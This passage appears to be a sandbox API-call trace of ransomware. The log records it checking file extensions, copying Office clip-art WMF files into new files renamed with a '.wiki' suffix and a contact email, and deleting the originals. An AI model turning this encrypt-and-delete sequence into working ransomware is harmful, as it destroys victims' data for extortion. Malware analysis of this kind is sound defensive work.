lstrlenW (lpString=".doc") returned 4 [0199.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.836] lstrlenW (lpString=".docx") returned 5 [0199.837] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0199.837] lstrlenW (lpString=".pdf") returned 4 [0199.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.837] lstrlenW (lpString=".xls") returned 4 [0199.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.837] lstrlenW (lpString=".xlsx") returned 5 [0199.837] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0199.837] lstrlenW (lpString=".ppt") returned 4 [0199.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0199.837] lstrlenW (lpString=".zip") returned 4 [0199.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.837] lstrlenW (lpString=".rar") returned 4 [0199.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.837] lstrlenW (lpString=".bz2") returned 4 [0199.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.837] lstrlenW (lpString=".7z") returned 3 [0199.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0199.837] lstrlenW (lpString=".dbf") returned 4 [0199.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0199.837] lstrlenW (lpString=".1cd") returned 4 [0199.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0199.837] lstrlenW (lpString=".jpg") returned 4 [0199.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.837] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.837] lstrlenW (lpString="J0187863.WMF") returned 12 [0199.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.838] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=10820) returned 1 [0199.838] CloseHandle (hObject=0x1f0) returned 1 [0199.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf")) returned 0x20 [0199.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.838] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.838] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0199.839] GetLastError () returned 0x0 [0199.839] ReadFile (in: hFile=0x1f0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x2a44, lpOverlapped=0x0) returned 1 [0199.841] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2a50, lpOverlapped=0x0) returned 1 [0199.842] ReadFile (in: hFile=0x1f0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.842] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.842] SetEndOfFile (hFile=0x1c8) returned 1 [0199.842] CloseHandle (hObject=0x1c8) returned 1 [0199.842] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.842] SetEndOfFile (hFile=0x1f0) returned 1 [0199.843] CloseHandle (hObject=0x1f0) returned 1 [0199.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf")) returned 1 [0199.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0199.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0199.843] lstrlenW (lpString=".doc") returned 4 [0199.843] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.843] lstrlenW (lpString=".docx") returned 5 [0199.843] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0199.843] lstrlenW (lpString=".pdf") returned 4 [0199.843] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.843] lstrlenW (lpString=".xls") returned 4 [0199.843] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.844] lstrlenW (lpString=".xlsx") returned 5 [0199.844] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0199.844] lstrlenW (lpString=".ppt") returned 4 [0199.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0199.844] lstrlenW (lpString=".zip") returned 4 [0199.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.844] lstrlenW (lpString=".rar") returned 4 [0199.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.844] lstrlenW (lpString=".bz2") returned 4 [0199.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.844] lstrlenW (lpString=".7z") returned 3 [0199.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0199.844] lstrlenW (lpString=".dbf") returned 4 [0199.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0199.844] lstrlenW (lpString=".1cd") returned 4 [0199.844] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0199.844] lstrlenW (lpString=".jpg") returned 4 [0199.844] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0199.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0199.844] lstrlenW (lpString=".doc") returned 4 [0199.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.844] lstrlenW (lpString=".docx") returned 5 [0199.844] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0199.844] lstrlenW (lpString=".pdf") returned 4 [0199.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.844] lstrlenW (lpString=".xls") returned 4 [0199.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.845] lstrlenW (lpString=".xlsx") returned 5 [0199.845] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0199.845] lstrlenW (lpString=".ppt") returned 4 [0199.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0199.845] lstrlenW (lpString=".zip") returned 4 [0199.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.845] lstrlenW (lpString=".rar") returned 4 [0199.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.845] lstrlenW (lpString=".bz2") returned 4 [0199.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.845] lstrlenW (lpString=".7z") returned 3 [0199.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0199.845] lstrlenW (lpString=".dbf") returned 4 [0199.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0199.845] lstrlenW (lpString=".1cd") returned 4 [0199.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0199.845] lstrlenW (lpString=".jpg") returned 4 [0199.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.845] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.845] lstrlenW (lpString="J0187881.WMF") returned 12 [0199.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.846] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4696) returned 1 [0199.846] CloseHandle (hObject=0x1f0) returned 1 [0199.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf")) returned 0x20 [0199.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.846] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.846] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0199.847] GetLastError () returned 0x0 [0199.847] ReadFile (in: hFile=0x1f0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x1258, lpOverlapped=0x0) returned 1 [0199.849] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x1260, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1260, lpOverlapped=0x0) returned 1 [0199.849] ReadFile (in: hFile=0x1f0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.849] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.850] SetEndOfFile (hFile=0x1c8) returned 1 [0199.850] CloseHandle (hObject=0x1c8) returned 1 [0199.850] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.850] SetEndOfFile (hFile=0x1f0) returned 1 [0199.851] CloseHandle (hObject=0x1f0) returned 1 [0199.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf")) returned 1 [0199.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0199.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0199.851] lstrlenW (lpString=".doc") returned 4 [0199.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.851] lstrlenW (lpString=".docx") returned 5 [0199.851] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0199.851] lstrlenW (lpString=".pdf") returned 4 [0199.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.851] lstrlenW (lpString=".xls") returned 4 [0199.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.851] lstrlenW (lpString=".xlsx") returned 5 [0199.851] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0199.851] lstrlenW (lpString=".ppt") returned 4 [0199.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0199.851] lstrlenW (lpString=".zip") returned 4 [0199.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.852] lstrlenW (lpString=".rar") returned 4 [0199.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.852] lstrlenW (lpString=".bz2") returned 4 [0199.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.852] lstrlenW (lpString=".7z") returned 3 [0199.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0199.852] lstrlenW (lpString=".dbf") returned 4 [0199.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0199.852] lstrlenW (lpString=".1cd") returned 4 [0199.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0199.852] lstrlenW (lpString=".jpg") returned 4 [0199.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0199.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0199.852] lstrlenW (lpString=".doc") returned 4 [0199.852] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.852] lstrlenW (lpString=".docx") returned 5 [0199.852] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0199.852] lstrlenW (lpString=".pdf") returned 4 [0199.852] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.852] lstrlenW (lpString=".xls") returned 4 [0199.852] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.852] lstrlenW (lpString=".xlsx") returned 5 [0199.852] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0199.852] lstrlenW (lpString=".ppt") returned 4 [0199.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0199.853] lstrlenW (lpString=".zip") returned 4 [0199.853] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.853] lstrlenW (lpString=".rar") returned 4 [0199.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.853] lstrlenW (lpString=".bz2") returned 4 [0199.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.853] lstrlenW (lpString=".7z") returned 3 [0199.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0199.853] lstrlenW (lpString=".dbf") returned 4 [0199.853] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0199.853] lstrlenW (lpString=".1cd") returned 4 [0199.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0199.853] lstrlenW (lpString=".jpg") returned 4 [0199.853] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.853] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.853] lstrlenW (lpString="J0187883.WMF") returned 12 [0199.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0199.986] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2100) returned 1 [0199.986] CloseHandle (hObject=0x1e0) returned 1 [0199.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf")) returned 0x20 [0199.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0200.002] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.002] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0200.019] GetLastError () returned 0x0 [0200.019] ReadFile (in: hFile=0x1e0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x834, lpOverlapped=0x0) returned 1 [0200.020] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x840, lpOverlapped=0x0) returned 1 [0200.021] ReadFile (in: hFile=0x1e0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0200.021] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0200.021] SetEndOfFile (hFile=0x200) returned 1 [0200.022] CloseHandle (hObject=0x200) returned 1 [0200.022] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.022] SetEndOfFile (hFile=0x1e0) returned 1 [0200.022] CloseHandle (hObject=0x1e0) returned 1 [0200.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0200.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf")) returned 1 [0200.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0200.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0200.023] lstrlenW (lpString=".doc") returned 4 [0200.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.023] lstrlenW (lpString=".docx") returned 5 [0200.023] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0200.023] lstrlenW (lpString=".pdf") returned 4 [0200.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.023] lstrlenW (lpString=".xls") returned 4 [0200.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.023] lstrlenW (lpString=".xlsx") returned 5 [0200.023] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0200.023] lstrlenW (lpString=".ppt") returned 4 [0200.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0200.023] lstrlenW (lpString=".zip") returned 4 [0200.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.023] lstrlenW (lpString=".rar") returned 4 [0200.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.023] lstrlenW (lpString=".bz2") returned 4 [0200.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.023] lstrlenW (lpString=".7z") returned 3 [0200.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0200.023] lstrlenW (lpString=".dbf") returned 4 [0200.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0200.024] lstrlenW (lpString=".1cd") returned 4 [0200.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0200.024] lstrlenW (lpString=".jpg") returned 4 [0200.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0200.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0200.024] lstrlenW (lpString=".doc") returned 4 [0200.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.024] lstrlenW (lpString=".docx") returned 5 [0200.024] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0200.024] lstrlenW (lpString=".pdf") returned 4 [0200.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.024] lstrlenW (lpString=".xls") returned 4 [0200.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.024] lstrlenW (lpString=".xlsx") returned 5 [0200.024] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0200.024] lstrlenW (lpString=".ppt") returned 4 [0200.024] lstrcmpiW (lpString1=".ppt", 